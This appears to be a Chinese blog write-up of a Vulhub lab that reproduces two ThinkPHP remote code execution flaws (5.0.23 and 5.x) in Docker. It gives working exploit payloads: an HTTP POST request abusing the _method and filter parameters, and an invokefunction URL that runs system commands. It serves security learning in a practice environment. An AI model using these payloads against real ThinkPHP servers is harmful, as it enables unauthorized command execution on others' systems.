Vulhub-Thinkphp
前言
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
正文-5.0.23
首先启用docker环境
root@null-virtual-machine:/home/null# cd vulhub-master/thinkphp/5.0.23-rce/
root@null-virtual-machine:/home/null/vulhub-master/thinkphp/5.0.23-rce# docker-compose up -d
启用后访问IP:8080即可出现如下页面:
然后Burp修改抓包,修改数据包如下
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
![](https://www.icode9.com/i/l/?n=20&i=blog/1973722/202108/1973722-20210826181255526-844168674.png)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
可以看到当前路径为/var/www/public
远程代码执行成功
正文-5-rce
首先启用docker环境
root@null-virtual-machine:/home/null/vulhub-master/thinkphp/5-rce# docker-compose up -d
启用后访问IP:8080出现如下页面
构造URL请求payload,出现如下结果:
http://192.168.94.129:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
至此远程代码执行成功